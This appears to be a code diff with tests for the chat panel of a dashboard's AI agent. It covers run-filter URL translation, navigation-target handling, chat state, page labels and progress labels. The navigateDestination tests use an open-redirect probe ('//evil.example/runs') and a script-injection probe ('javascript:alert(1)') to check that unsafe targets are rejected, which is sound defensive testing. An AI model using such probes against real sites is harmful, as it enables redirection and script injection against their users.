it("pins why translation is needed: raw FAILED wipes the whole filter set", () => {
expect(pageReads(`${RUNS_PATH}?statuses=FAILED&period=1d`)).toEqual({});
});
});
describe("navigateDestination", () => {
const SOURCE_URL = "https://github.com/acme/api/blob/abc123/src/tasks/send-email.ts#L42";
it("routes a dashboard path and applies the intent's filters", () => {
expect(
navigateDestination({ path: RUNS_PATH, external: false }, { statuses: ["FAILED"] })
).toEqual({
kind: "route",
path: `${RUNS_PATH}?${FAILING.map((s) => `statuses=${s}`).join("&")}`,
});
});
it("never routes a source file, it leaves the dashboard", () => {
expect(navigateDestination({ path: SOURCE_URL, external: true })).toEqual({
kind: "external",
url: SOURCE_URL,
});
});
it("refuses to route an absolute URL even when the server forgot to flag it", () => {
expect(navigateDestination({ path: SOURCE_URL })).toEqual({
kind: "external",
url: SOURCE_URL,
});
});
it("refuses a protocol-relative path, which would change host", () => {
expect(navigateDestination({ path: "//evil.example/runs" })).toEqual({ kind: "none" });
expect(navigateDestination({ path: "/\\evil.example/runs" })).toEqual({ kind: "none" });
});
it("resolves to nothing when there is no target", () => {
expect(navigateDestination(null)).toEqual({ kind: "none" });
expect(navigateDestination({ path: "" })).toEqual({ kind: "none" });
expect(navigateDestination({ path: "javascript:alert(1)" })).toEqual({ kind: "none" });
});
});
describe("sameOriginPath", () => {
const origin = "http://localhost:3030";
it("turns an absolute dashboard URL into a path", () => {
expect(sameOriginPath(`${origin}${RUNS_PATH}?statuses=FAILED#top`, origin)).toBe(
`${RUNS_PATH}?statuses=FAILED#top`
);
});
it("returns null for another origin", () => {
expect(sameOriginPath("https://trigger.dev/docs/errors", origin)).toBeNull();
});
it("returns null for a URL it can't parse", () => {
expect(sameOriginPath("not a url", "")).toBeNull();
});
});
@@ -0,0 +1,121 @@
// `trigger://` targets are resolved server-side in `resolveTriggerUri.server.ts`.
import { type RunFilters } from "@internal/dashboard-agent-contracts";
import { allTaskRunStatuses } from "~/components/runs/v3/TaskRunStatus";
// Filter keys are the runs page's own URL params, except that the page reads these
// bounds as epoch milliseconds while an intent carries ISO strings.
const EPOCH_MS_KEYS = new Set(["from", "to"]);
// The page's filter parser has no `search` param, so it would only clutter the URL.
const UNSUPPORTED_KEYS = new Set(["search"]);
type PageStatus = (typeof allTaskRunStatuses)[number];
const PAGE_STATUSES = new Set<string>(allTaskRunStatuses);
/** What a user means by "failed runs": every terminal status that is not a success or a cancel. */
const FAILING_STATUSES = [
"COMPLETED_WITH_ERRORS",
"SYSTEM_FAILURE",
"CRASHED",
"EXPIRED",
"TIMED_OUT",
"INTERRUPTED",
] as const satisfies readonly PageStatus[];
/** Statuses the API (and so the model) uses that the runs page has never heard of. */
const STATUS_ALIASES = {
FAILED: FAILING_STATUSES,
QUEUED: ["PENDING"],
COMPLETED: ["COMPLETED_SUCCESSFULLY"],
REATTEMPTING: ["RETRYING_AFTER_FAILURE"],
FROZEN: ["WAITING_TO_RESUME"],
} as const satisfies Record<string, readonly PageStatus[]>;
/**
* Statuses in the page's own vocabulary. One value it cannot parse makes it discard
* every filter the period too so anything unrecognized is dropped, not sent.
*/
function pageStatuses(values: readonly string[]): string[] {
const translated = new Set<string>();
for (const value of values) {
const status = value.trim().toUpperCase();
if (PAGE_STATUSES.has(status)) {
translated.add(status);
continue;
}
for (const alias of STATUS_ALIASES[status as keyof typeof STATUS_ALIASES] ?? []) {
translated.add(alias);
}
}
return [...translated];
}
export function appendRunFilters(path: string, filters?: RunFilters): string {
if (!filters) return path;
// A base is needed to parse a relative path; only pathname + search is used.
const url = new URL(path, "https://dashboard.invalid");
for (const [key, value] of Object.entries(filters)) {
if (value === undefined || value === null || value === "") continue;
if (UNSUPPORTED_KEYS.has(key)) continue;
if (key === "statuses") {
const statuses = Array.isArray(value) ? value : [String(value)];
for (const status of pageStatuses(statuses)) url.searchParams.append(key, status);
continue;
}
if (EPOCH_MS_KEYS.has(key)) {
const epochMs = Date.parse(String(value));
if (!Number.isNaN(epochMs)) url.searchParams.set(key, String(epochMs));
continue;
}
if (Array.isArray(value)) {
for (const entry of value) if (entry) url.searchParams.append(key, entry);
continue;
}
if (typeof value === "boolean") {
if (value) url.searchParams.set(key, "true");
continue;
}
url.searchParams.set(key, String(value));
}
return `${url.pathname}${url.search}`;
}
export type NavigateDestination =
| { kind: "route"; path: string }
| { kind: "external"; url: string }
| { kind: "none" };
/**
* What the host should do with a resolved navigate target. A `trigger://source/…` resolves to a
* file on GitHub, which the router cannot route: handed to `navigate` it lands on a dead
* dashboard path. Only a root-relative path is ever routed, whatever the server said.
*/
export function navigateDestination(
resolved: { path?: string | null; external?: boolean } | null | undefined,
filters?: RunFilters
): NavigateDestination {
const target = resolved?.path;
if (!target) return { kind: "none" };
// `/\` too: a URL parser maps the backslash to a slash, so it leaves the origin.
const routable = !resolved?.external && target.startsWith("/") && !/^\/[/\\]/.test(target);
if (routable) return { kind: "route", path: appendRunFilters(target, filters) };
// Run filters belong to the runs page, so they are dropped rather than pushed onto a foreign URL.
return /^https?:\/\//i.test(target) ? { kind: "external", url: target } : { kind: "none" };
}
// Null when the link leaves the dashboard.
export function sameOriginPath(href: string, origin: string): string | null {
let url: URL;
try {
url = new URL(href, origin);
} catch {
return null;
}
if (url.origin !== origin) return null;
return `${url.pathname}${url.search}${url.hash}`;
}
@@ -0,0 +1,57 @@
import type { UIMessage } from "@ai-sdk/react";
import { describe, expect, it } from "vitest";
import { resolveOpenedChat } from "./opened-chat";
const CHAT_ID = "chat_abc123";
const message: UIMessage = {
id: "msg_1",
role: "user",
parts: [{ type: "text", text: "why did this run fail?" }],
};
describe("resolveOpenedChat", () => {
it("opens a chat that has messages", () => {
const opened = resolveOpenedChat(CHAT_ID, { messages: [message], session: null });
expect(opened).toEqual({ kind: "chat", chatId: CHAT_ID, messages: [message], session: null });
});
it("still opens a chat that exists but has no messages", () => {
const opened = resolveOpenedChat(CHAT_ID, { messages: [], session: null });
expect(opened.kind).toBe("chat");
expect(opened).toEqual({ kind: "chat", chatId: CHAT_ID, messages: [], session: null });
});
it("treats a chat with no messages field the same way", () => {
expect(resolveOpenedChat(CHAT_ID, {}).kind).toBe("chat");
});
it("reports a chat the server would not return as gone", () => {
expect(resolveOpenedChat(CHAT_ID, undefined)).toEqual({ kind: "gone" });
});
it("carries the session through, dropping a null last event id", () => {
const opened = resolveOpenedChat(CHAT_ID, {
messages: [message],
session: { publicAccessToken: "pat_1", lastEventId: null },
});
expect(opened).toMatchObject({ session: { publicAccessToken: "pat_1" } });
expect(opened.kind === "chat" && opened.session?.lastEventId).toBeUndefined();
});
it("keeps a last event id when there is one", () => {
const opened = resolveOpenedChat(CHAT_ID, {
messages: [],
session: { publicAccessToken: "pat_1", lastEventId: "evt_9" },
});
expect(opened).toMatchObject({ session: { publicAccessToken: "pat_1", lastEventId: "evt_9" } });
});
it("has no session when the token is missing", () => {
expect(resolveOpenedChat(CHAT_ID, { messages: [message] })).toMatchObject({ session: null });
});
});
@@ -0,0 +1,37 @@
import type { UIMessage } from "@ai-sdk/react";
export type OpenedChatResponse = {
messages?: UIMessage[];
session?: { publicAccessToken: string; lastEventId: string | null } | null;
};
export type OpenedChat =
| {
kind: "chat";
chatId: string;
messages: UIMessage[];
session: { publicAccessToken: string; lastEventId?: string } | null;
}
// Deleted, or belonging to someone else: the read failed, so there is no chat to show.
| { kind: "gone" };
/** An empty transcript is still a chat, so only a failed read drops you into a new one. */
export function resolveOpenedChat(
chatId: string,
response: OpenedChatResponse | undefined
): OpenedChat {
if (!response) return { kind: "gone" };
const session = response.session;
return {
kind: "chat",
chatId,
messages: response.messages ?? [],
session: session?.publicAccessToken
? {
publicAccessToken: session.publicAccessToken,
lastEventId: session.lastEventId ?? undefined,
}
: null,
};
}
@@ -0,0 +1,7 @@
// The webapp's import point for these contracts. UI code should not import from
// `@internal/dashboard-agent-contracts` directly.
export type {
AgentPage,
AgentPageContext,
AgentPageSignal,
} from "@internal/dashboard-agent-contracts";
@@ -0,0 +1,83 @@
import { describe, expect, it } from "vitest";
import { agentPageLabel, pageLabelFromPath } from "./page-label";
const envRoot = "/orgs/acme-1234/projects/hello-world-ab12/env/dev";
describe("pageLabelFromPath", () => {
it("labels the env root as Overview", () => {
expect(pageLabelFromPath(envRoot)).toBe("Overview");
expect(pageLabelFromPath(`${envRoot}/`)).toBe("Overview");
});
it("labels known env sections", () => {
expect(pageLabelFromPath(`${envRoot}/runs`)).toBe("Runs");
expect(pageLabelFromPath(`${envRoot}/queues`)).toBe("Queues");
expect(pageLabelFromPath(`${envRoot}/deployments`)).toBe("Deployments");
expect(pageLabelFromPath(`${envRoot}/environment-variables`)).toBe("Environment variables");
expect(pageLabelFromPath(`${envRoot}/apikeys`)).toBe("API keys");
});
it("labels a detail path by its section", () => {
expect(pageLabelFromPath(`${envRoot}/runs/run_abc123`)).toBe("Runs");
expect(pageLabelFromPath(`${envRoot}/errors/deadbeef`)).toBe("Errors");
});
it("prettifies unknown sections instead of showing a raw slug", () => {
expect(pageLabelFromPath(`${envRoot}/some-new-thing`)).toBe("Some new thing");
});
it("reads the section past a preview branch named like a path marker", () => {
const branchRoot = "/orgs/acme-1234/projects/hello-world-ab12/env";
expect(pageLabelFromPath(`${branchRoot}/env/runs`)).toBe("Runs");
expect(pageLabelFromPath(`${branchRoot}/env/runs/run_abc123`)).toBe("Runs");
expect(pageLabelFromPath(`${branchRoot}/env/environment-variables`)).toBe(
"Environment variables"
);
expect(pageLabelFromPath(`${branchRoot}/env`)).toBe("Overview");
expect(pageLabelFromPath(`${branchRoot}/projects/queues`)).toBe("Queues");
});
it("falls back to the last segment outside an env path", () => {
expect(pageLabelFromPath("/orgs/acme-1234/settings/members")).toBe("Members");
expect(pageLabelFromPath("/account/security")).toBe("Security");
});
it("never returns an empty label", () => {
expect(pageLabelFromPath("/")).toBe("Dashboard");
expect(pageLabelFromPath("")).toBe("Dashboard");
});
});
describe("agentPageLabel", () => {
it("prefers the structured page kind", () => {
expect(agentPageLabel({ page: { kind: "runs" }, signals: [] }, `${envRoot}/anything`)).toBe(
"Runs"
);
expect(
agentPageLabel(
{ page: { kind: "run", runId: "run_abc", status: "FAILED", taskId: "t" }, signals: [] },
`${envRoot}/runs/run_abc`
)
).toBe("Run detail");
expect(agentPageLabel({ page: { kind: "queue", name: "default" }, signals: [] }, envRoot)).toBe(
"Queue detail"
);
expect(
agentPageLabel({ page: { kind: "deployment", version: "20240101.1" }, signals: [] }, envRoot)
).toBe("Deployment detail");
expect(
agentPageLabel({ page: { kind: "error", fingerprint: "abc" }, signals: [] }, envRoot)
).toBe("Error detail");
});
it("falls back to the path an unclassified page carries", () => {
expect(
agentPageLabel({ page: { kind: "other", path: `${envRoot}/queues` }, signals: [] }, "/")
).toBe("Queues");
});
it("falls back to the location with no page context at all", () => {
expect(agentPageLabel(undefined, `${envRoot}/schedules`)).toBe("Schedules");
});
});
@@ -0,0 +1,118 @@
// Display text only. The full pathname still reaches the agent in
// `clientData.currentPage`.
import type { AgentPage, AgentPageContext } from "./page-context-types";
const FALLBACK_LABEL = "Dashboard";
// `other` is the unclassified kind, so it resolves from the path instead.
const KIND_LABELS: Record<Exclude<AgentPage["kind"], "other">, string> = {
runs: "Runs",
run: "Run detail",
errors: "Errors",
error: "Error detail",
queues: "Queues",
queue: "Queue detail",
deployments: "Deployments",
deployment: "Deployment detail",
tasks: "Tasks",
task: "Task detail",
schedule: "Schedule detail",
batches: "Batches",
batch: "Batch detail",
test: "Test",
alerts: "Alerts",
apikeys: "API keys",
envvars: "Environment variables",
concurrency: "Concurrency",
regions: "Regions",
settings: "Settings",
waitpoints: "Waitpoints",
bulkactions: "Bulk actions",
branches: "Branches",
logs: "Logs",
limits: "Limits",
query: "Query",
dashboards: "Dashboards",
agents: "Agents",
playground: "Playground",
prompts: "Prompts",
models: "Models",
sessions: "Sessions",
};
// Only sections whose label isn't the prettified segment need an entry.
const SECTION_LABELS: Record<string, string> = {
agents: "Agents",
alerts: "Alerts",
apikeys: "API keys",
batches: "Batches",
"bulk-actions": "Bulk actions",
branches: "Branches",
concurrency: "Concurrency",
dashboards: "Dashboards",
deployments: "Deployments",
"dev-branches": "Branches",
"environment-variables": "Environment variables",
errors: "Errors",
limits: "Limits",
logs: "Logs",
metrics: "Metrics",
models: "Models",
playground: "Playground",
prompts: "Prompts",
query: "Query",
queues: "Queues",
regions: "Regions",
runs: "Runs",
schedules: "Schedules",
sessions: "Sessions",
settings: "Settings",
tasks: "Tasks",
test: "Test",
versions: "Versions",
waitpoints: "Waitpoints",
};
function prettifySegment(segment: string): string {
const words = segment.replace(/[-_]+/g, " ").trim();
if (!words) return FALLBACK_LABEL;
return words.charAt(0).toUpperCase() + words.slice(1);
}
// An env path is always `/orgs/{org}/projects/{project}/env/{slug}/{section}`, so both
// markers sit at fixed indexes. A branch slug is index 5 and can never be read as the marker.
const ENV_MARKER_INDEX = 4;
const ENV_SECTION_INDEX = 6;
// Env-scoped paths label off the section after `env/{slug}`; anything else falls
// back to its last segment.
export function pageLabelFromPath(pathname: string): string {
const segments = pathname.split("/").filter(Boolean);
if (segments.length === 0) return FALLBACK_LABEL;
if (
segments[0] === "orgs" &&
segments[2] === "projects" &&
segments[ENV_MARKER_INDEX] === "env"
) {
const section = segments[ENV_SECTION_INDEX];
if (!section) return "Overview";
return SECTION_LABELS[section] ?? prettifySegment(section);
}
const last = segments[segments.length - 1];
return last ? (SECTION_LABELS[last] ?? prettifySegment(last)) : FALLBACK_LABEL;
}
export function agentPageLabel(
pageContext: AgentPageContext | undefined,
pathname: string
): string {
const page = pageContext?.page;
if (page && page.kind !== "other") {
return KIND_LABELS[page.kind] ?? pageLabelFromPath(pathname);
}
// Prefer the path the `other` page carries: it is what the agent was told.
return pageLabelFromPath(page?.kind === "other" && page.path ? page.path : pathname);
}
@@ -0,0 +1,52 @@
// Both class helpers apply to always-rendered wrappers, so toggling fullscreen is a
// class change only and the open chat's transport, session and transcript survive it.
import { cn } from "~/utils/cn";
export const AGENT_FULLSCREEN_STORAGE_KEY = "tdev:dashboard-agent:fullscreen";
export function readAgentFullscreen(): boolean {
if (typeof window === "undefined") return false;
try {
return window.localStorage.getItem(AGENT_FULLSCREEN_STORAGE_KEY) === "true";
} catch {
return false;
}
}
export function writeAgentFullscreen(fullscreen: boolean): void {
if (typeof window === "undefined") return;
try {
window.localStorage.setItem(AGENT_FULLSCREEN_STORAGE_KEY, fullscreen ? "true" : "false");
} catch {
/* ignore */
}
}
export function agentTakeoverClassName(fullscreen: boolean): string {
return fullscreen ? "absolute inset-0 z-10 bg-background-bright" : "h-full";
}
// `invisible` rather than `display: none`: only this preserves the computed layout, so
// scroll positions and measured widths survive.
export function agentHiddenContentClassName(fullscreen: boolean): string {
return cn("h-full overflow-hidden", fullscreen && "invisible");
}
export function AgentPanelColumn({
fullscreen,
children,
}: {
fullscreen: boolean;
children: React.ReactNode;
}) {
return (
<div
className={cn(
"flex min-h-0 min-w-0 flex-1 flex-col",
fullscreen && "mx-auto w-full max-w-3xl"
)}
>
{children}
</div>
);
}
@@ -0,0 +1,48 @@
import { describe, expect, it } from "vitest";
import { pendingNavigateIntents } from "./pending-intents";
describe("pendingNavigateIntents", () => {
const uri = "trigger://proj_abc/env_123/run/run_abc";
const toolPart = (toolCallId: string, state = "output-available") => ({
type: "tool-navigate_to",
state,
toolCallId,
output: { intent: { kind: "navigate", target: uri } },
});
it("returns the intent from a completed navigate_to call, once", () => {
const seen = new Set<string>();
const messages = [{ id: "m1", parts: [toolPart("call-1")] }];
expect(pendingNavigateIntents(messages, seen)).toEqual([{ kind: "navigate", target: uri }]);
expect(pendingNavigateIntents(messages, seen)).toEqual([]);
});
it("ignores a call that hasn't produced output yet", () => {
expect(
pendingNavigateIntents(
[{ id: "m1", parts: [toolPart("call-1", "input-available")] }],
new Set()
)
).toEqual([]);
});
it("ignores output that isn't a navigate intent", () => {
const messages = [
{ id: "m1", parts: [{ ...toolPart("call-1"), output: { error: "nowhere to go" } }] },
{ id: "m2", parts: [{ type: "text", text: "hello" }] },
];
expect(pendingNavigateIntents(messages, new Set())).toEqual([]);
});
it("skips calls seeded as already seen (loaded history)", () => {
const history = [{ id: "m1", parts: [toolPart("call-1")] }];
const seen = new Set<string>();
pendingNavigateIntents(history, seen);
expect(
pendingNavigateIntents([...history, { id: "m2", parts: [toolPart("call-2")] }], seen)
).toEqual([{ kind: "navigate", target: uri }]);
});
});
@@ -0,0 +1,42 @@
// `seen` is mutated with the calls handled and must be seeded from the transcript
// loaded at mount, or replaying history re-fires its intents.
import { agentIntentSchema, type AgentIntent } from "@internal/dashboard-agent-contracts";
type ToolPart = { type?: string; state?: string; toolCallId?: string; output?: unknown };
type ToolMessage = { id: string; parts?: ReadonlyArray<unknown> };
function pendingToolIntents<Kind extends AgentIntent["kind"]>(
messages: ReadonlyArray<ToolMessage>,
seen: Set<string>,
toolType: string,
kind: Kind
): Array<Extract<AgentIntent, { kind: Kind }>> {
const intents: Array<Extract<AgentIntent, { kind: Kind }>> = [];
for (const message of messages) {
const parts = message.parts ?? [];
for (let i = 0; i < parts.length; i++) {
const part = parts[i] as ToolPart;
if (part?.type !== toolType || part.state !== "output-available") continue;
const key = part.toolCallId ?? `${message.id}:${i}`;
if (seen.has(key)) continue;
seen.add(key);
const output = part.output as { intent?: unknown } | undefined;
const parsed = agentIntentSchema.safeParse(output?.intent);
if (parsed.success && parsed.data.kind === kind) {
intents.push(parsed.data as Extract<AgentIntent, { kind: Kind }>);
}
}
}
return intents;
}
export function pendingNavigateIntents(
messages: ReadonlyArray<ToolMessage>,
seen: Set<string>
): Array<Extract<AgentIntent, { kind: "navigate" }>> {
return pendingToolIntents(messages, seen, "tool-navigate_to", "navigate");
}
@@ -0,0 +1,222 @@
import { describe, expect, it } from "vitest";
import { inFlightToolName, liveInvestigation, liveProgress } from "./progress-line";
function assistant(parts: unknown[]) {
return { role: "assistant", parts };
}
function pendingTool(name: string) {
return { type: `tool-${name}`, state: "input-available" };
}
function investigationPart(
id: string,
revision: number,
outcome: string,
progress?: string
): unknown {
return {
type: "tool-render_view",
state: "output-available",
output: {
blocks: [{ type: "investigation", id, revision, investigation: { outcome, progress } }],
},
};
}
describe("inFlightToolName", () => {
it("names the tool the last turn is waiting on", () => {
expect(
inFlightToolName([
{ role: "user", parts: [{ type: "text", text: "how are the queues?" }] },
assistant([{ type: "text", text: "Let me look." }, pendingTool("get_queue")]),
])
).toBe("get_queue");
});
it("takes the most recent call when two are in flight", () => {
expect(inFlightToolName([assistant([pendingTool("get_run"), pendingTool("run_query")])])).toBe(
"run_query"
);
});
it("is null once the call has output, and for a turn with nothing in flight", () => {
expect(
inFlightToolName([assistant([{ type: "tool-render_view", state: "output-available" }])])
).toBeNull();
expect(inFlightToolName([])).toBeNull();
expect(inFlightToolName([assistant([{ type: "text", text: "hi" }])])).toBeNull();
expect(inFlightToolName([{ role: "user", parts: [{ type: "text", text: "hi" }] }])).toBeNull();
});
it("ignores a call left in flight in an earlier turn", () => {
expect(
inFlightToolName([
assistant([pendingTool("get_run")]),
{ role: "user", parts: [{ type: "text", text: "never mind" }] },
])
).toBeNull();
});
});
describe("liveInvestigation", () => {
it("finds an unfinished card", () => {
expect(
liveInvestigation([assistant([investigationPart("inv_1", 0, "in_progress", "Reading logs")])])
).toEqual({ progress: "Reading logs" });
});
it("is null once a later revision of the same investigation concludes", () => {
expect(
liveInvestigation([
assistant([investigationPart("inv_1", 0, "in_progress", "Reading logs")]),
assistant([investigationPart("inv_1", 1, "concluded")]),
])
).toBeNull();
});
it("stays live when the concluded revision is the OLDER one", () => {
expect(
liveInvestigation([
assistant([investigationPart("inv_1", 2, "in_progress", "Testing hypothesis 2")]),
assistant([investigationPart("inv_1", 1, "concluded")]),
])
).toEqual({ progress: "Testing hypothesis 2" });
});
it("follows the investigation the reader saw last", () => {
expect(
liveInvestigation([
assistant([investigationPart("inv_1", 0, "in_progress", "First")]),
assistant([investigationPart("inv_2", 0, "in_progress", "Second")]),
])
).toEqual({ progress: "Second" });
});
it("reports a card with no progress phrase of its own", () => {
expect(liveInvestigation([assistant([investigationPart("inv_1", 0, "in_progress")])])).toEqual({
progress: null,
});
});
});
describe("liveProgress", () => {
it("shows nothing when nothing is in flight", () => {
expect(liveProgress([assistant([{ type: "text", text: "done" }])], null)).toBeNull();
});
it("falls back to the generic activity label", () => {
expect(liveProgress([], "thinking")).toEqual({ source: "activity", label: "Thinking…" });
expect(liveProgress([assistant([{ type: "text", text: "…" }])], "working")).toEqual({
source: "activity",
label: "Working…",
});
});
it("prefers a tool's phrase over the generic activity", () => {
expect(liveProgress([assistant([pendingTool("get_queue")])], "working")).toEqual({
source: "tool",
label: "Reading the queue…",
});
});
it("names an unknown tool without a label of its own", () => {
expect(liveProgress([assistant([pendingTool("brand_new_tool")])], "working")).toEqual({
source: "tool",
label: "Running brand_new_tool…",
});
});
it("prefers the live card's own phrase over both", () => {
expect(
liveProgress(
[
assistant([investigationPart("inv_1", 0, "in_progress", "Testing hypothesis 2")]),
assistant([pendingTool("run_query")]),
],
"working"
)
).toEqual({ source: "investigation", label: "Testing hypothesis 2" });
});
it("gives a phrase-less live card the generic wording", () => {
expect(liveProgress([assistant([investigationPart("inv_1", 0, "in_progress")])], null)).toEqual(
{
source: "investigation",
label: "Working…",
}
);
});
it("stays non-null through a whole turn: activity → tool → card → tool → done", () => {
const submitted: unknown[] = [{ role: "user", parts: [{ type: "text", text: "why failed?" }] }];
const phases = [
{ messages: submitted, activity: "thinking" as const },
{
messages: [...submitted, assistant([pendingTool("get_run")])],
activity: "working" as const,
},
// The tool landed; the model is composing prose.
{
messages: [
...submitted,
assistant([
{ type: "tool-get_run", state: "output-available" },
{ type: "text", text: "Looking" },
]),
],
activity: "working" as const,
},
{
messages: [
...submitted,
assistant([investigationPart("inv_1", 0, "in_progress", "Testing hypothesis 1")]),
],
activity: "working" as const,
},
// Another tool runs under the live card.
{
messages: [
...submitted,
assistant([investigationPart("inv_1", 0, "in_progress", "Testing hypothesis 1")]),
assistant([pendingTool("run_query")]),
],
activity: "working" as const,
},
// A revision with a new phrase.
{
messages: [
...submitted,
assistant([investigationPart("inv_1", 1, "in_progress", "Testing hypothesis 2")]),
],
activity: "working" as const,
},
];
const results = phases.map(({ messages, activity }) => liveProgress(messages, activity));
expect(results.every((result) => result !== null)).toBe(true);
expect(results.map((result) => result!.label)).toEqual([
"Thinking…",
"Reading the run…",
"Working…",
"Testing hypothesis 1",
"Testing hypothesis 1",
"Testing hypothesis 2",
]);
expect(results.map((result) => result!.source)).toEqual([
"activity",
"tool",
"activity",
"investigation",
"investigation",
"investigation",
]);
// The verdict lands and the activity signal drops.
expect(
liveProgress([...submitted, assistant([investigationPart("inv_1", 2, "concluded")])], null)
).toBeNull();
});
});
@@ -0,0 +1,128 @@
import { toolPendingLabel } from "./tool-labels";
/** A tool call with no output yet. */
export const IN_FLIGHT_TOOL_STATES = new Set(["input-streaming", "input-available"]);
// "thinking": submitted, nothing back yet. "working": streaming text or tool calls.
export type TurnActivity = "thinking" | "working";
export const ACTIVITY_LABELS: Record<TurnActivity, string> = {
thinking: "Thinking…",
working: "Working…",
};
export type ProgressSource = "investigation" | "tool" | "activity";
export type LiveProgress = { source: ProgressSource; label: string };
/** Duck-typed: this module reads a transcript, it doesn't own one. */
type ProgressPart = {
type?: string;
state?: string;
output?: { blocks?: ReadonlyArray<unknown> };
};
type ProgressMessage = { role?: string; parts?: ReadonlyArray<unknown> };
type LiveInvestigation = { progress: string | null };
function partsOf(message: ProgressMessage | undefined): ReadonlyArray<ProgressPart> {
return (message?.parts ?? []) as ReadonlyArray<ProgressPart>;
}
/** An investigation only reaches the panel through `render_view`'s output. */
function investigationBlocksIn(part: ProgressPart): ReadonlyArray<{
id: string;
revision: number;
outcome?: string;
progress?: string;
}> {
if (part?.type !== "tool-render_view") return [];
const blocks = part.output?.blocks;
if (!Array.isArray(blocks)) return [];
const found: { id: string; revision: number; outcome?: string; progress?: string }[] = [];
for (const block of blocks) {
const b = block as {
type?: string;
id?: string;
revision?: number;
investigation?: { outcome?: string; progress?: string };
};
if (b?.type !== "investigation" || typeof b.id !== "string") continue;
found.push({
id: b.id,
revision: typeof b.revision === "number" ? b.revision : 0,
outcome: b.investigation?.outcome,
progress: b.investigation?.progress,
});
}
return found;
}
/** Latest revision wins: an early `in_progress` must not outlive the verdict. */
export function liveInvestigation(
messages: ReadonlyArray<ProgressMessage>
): LiveInvestigation | null {
const latest = new Map<string, { revision: number; outcome?: string; progress?: string }>();
const order: string[] = [];
for (const message of messages) {
for (const part of partsOf(message)) {
for (const block of investigationBlocksIn(part)) {
const current = latest.get(block.id);
if (!current || block.revision >= current.revision) {
latest.set(block.id, block);
}
const seen = order.indexOf(block.id);
if (seen !== -1) order.splice(seen, 1);
order.push(block.id);
}
}
}
for (const id of [...order].reverse()) {
const block = latest.get(id);
if (block?.outcome === "in_progress") {
return { progress: block.progress ?? null };
}
}
return null;
}
/** Only the last assistant message counts; an in-flight part in an earlier turn is stale. */
export function inFlightToolName(messages: ReadonlyArray<ProgressMessage>): string | null {
const last = messages[messages.length - 1];
if (!last || last.role !== "assistant") return null;
for (const part of [...partsOf(last)].reverse()) {
if (
typeof part?.type === "string" &&
part.type.startsWith("tool-") &&
IN_FLIGHT_TOOL_STATES.has(part.state ?? "")
) {
return part.type.slice("tool-".length);
}
}
return null;
}
/** Must stay non-null for the whole in-flight period: null unmounts, and a gap blinks. */
export function liveProgress(
messages: ReadonlyArray<ProgressMessage>,
activity: TurnActivity | null
): LiveProgress | null {
const investigation = liveInvestigation(messages);
if (investigation) {
return {
source: "investigation",
label: investigation.progress ?? ACTIVITY_LABELS[activity ?? "working"],
};
}
const tool = inFlightToolName(messages);
if (tool) return { source: "tool", label: `${toolPendingLabel(tool)}` };
if (activity) return { source: "activity", label: ACTIVITY_LABELS[activity] };
return null;
}
@@ -0,0 +1,139 @@
import { describe, expect, it } from "vitest";
import {
REPORT_TOOL_PART_TYPE,
isReportToolPart,
reportBlockFromToolPart,
reportIsTrustworthy,
} from "./report-block-adapter";
import { blockIdentity, latestRevisionBlocks } from "./view-blocks";
const vm = {
title: "health",
scope: "prod",
period: "last 1h",
baselineLabel: "vs your 7d normal",
generatedAt: "2026-07-27T10:15:00.000Z",
windowMinutes: 60,
summary: { severity: "crit", statements: [{ findingType: "flow", severity: "crit" }] },
findings: [
{
type: "flow",
severity: "crit",
reason: "env_limit_saturation",
metricIds: ["pending"],
recommendation: { code: "raise_env_limit" },
},
],
metrics: [{ id: "pending", value: 4812, unit: "count", severity: "crit" }],
facts: { trustworthy: true },
links: [],
footer: [{ code: "raise_env_limit" }],
};
const uri = "trigger://proj_abc/env_abc/report/health";
function part(overrides: Record<string, unknown> = {}) {
return {
type: REPORT_TOOL_PART_TYPE,
state: "output-available",
toolCallId: "call_1",
input: { report: "health" },
output: vm,
...overrides,
};
}
describe("reportBlockFromToolPart", () => {
it("builds an immutable snapshot keyed by the tool call", () => {
const block = reportBlockFromToolPart(part())!;
expect(block.type).toBe("report");
expect(block.id).toBe("call_1");
expect(block.revision).toBe(0);
expect(block.asOf).toBe(vm.generatedAt);
expect(block.vm).toEqual(vm);
expect(block.reportUri).toBeUndefined();
});
it("carries a trigger:// source uri when the tool returned one", () => {
expect(reportBlockFromToolPart(part({ output: { vm, uri } }))!.reportUri).toBe(uri);
expect(reportBlockFromToolPart(part({ output: { ...vm, reportUri: uri } }))!.reportUri).toBe(
uri
);
});
it("drops a uri that isn't a valid trigger:// URI, keeping the card", () => {
const block = reportBlockFromToolPart(
part({ output: { vm, uri: "https://cloud.trigger.dev/report" } })
)!;
expect(block.reportUri).toBeUndefined();
expect(block.vm.title).toBe("health");
});
it("accepts a JSON-string output", () => {
expect(reportBlockFromToolPart(part({ output: JSON.stringify(vm) }))!.vm).toEqual(vm);
});
it("returns null for anything that isn't a completed get_report part", () => {
expect(reportBlockFromToolPart(part({ type: "tool-run_query" }))).toBeNull();
expect(reportBlockFromToolPart(part({ state: "input-available" }))).toBeNull();
expect(reportBlockFromToolPart(part({ state: "output-error" }))).toBeNull();
expect(reportBlockFromToolPart(part({ toolCallId: undefined }))).toBeNull();
expect(reportBlockFromToolPart(undefined)).toBeNull();
expect(reportBlockFromToolPart(null)).toBeNull();
});
it("returns null on malformed output instead of throwing", () => {
expect(reportBlockFromToolPart(part({ output: undefined }))).toBeNull();
expect(reportBlockFromToolPart(part({ output: "not json at all" }))).toBeNull();
expect(reportBlockFromToolPart(part({ output: [vm] }))).toBeNull();
expect(reportBlockFromToolPart(part({ output: { error: "Unknown report" } }))).toBeNull();
expect(reportBlockFromToolPart(part({ output: { title: "health" } }))).toBeNull();
expect(reportBlockFromToolPart(part({ output: { ...vm, generatedAt: undefined } }))).toBeNull();
});
it("passes the tool output's series and links through", () => {
const series = { points: [80, 40, 120], kind: "measured" };
const links = [{ key: "queues", label: "Queues", url: "/queues" }];
const block = reportBlockFromToolPart(
part({ output: { ...vm, metrics: [{ ...vm.metrics[0], series }], links } })
)!;
expect(block.vm.metrics[0]!.series).toEqual(series);
expect(block.vm.links).toEqual(links);
expect(block.vm.summary.severity).toBe("crit");
});
it("survives presenter fields it has never seen", () => {
const block = reportBlockFromToolPart(
part({ output: { ...vm, confidence: "high", newSection: { a: 1 } } })
)!;
expect((block.vm as Record<string, unknown>).confidence).toBe("high");
});
it("renders an untrustworthy (stale telemetry) report, flagged", () => {
const stale = { ...vm, facts: { trustworthy: false, flowSource: "runs" } };
const block = reportBlockFromToolPart(part({ output: stale }))!;
expect(block.vm.facts.trustworthy).toBe(false);
expect(reportIsTrustworthy(block.vm)).toBe(false);
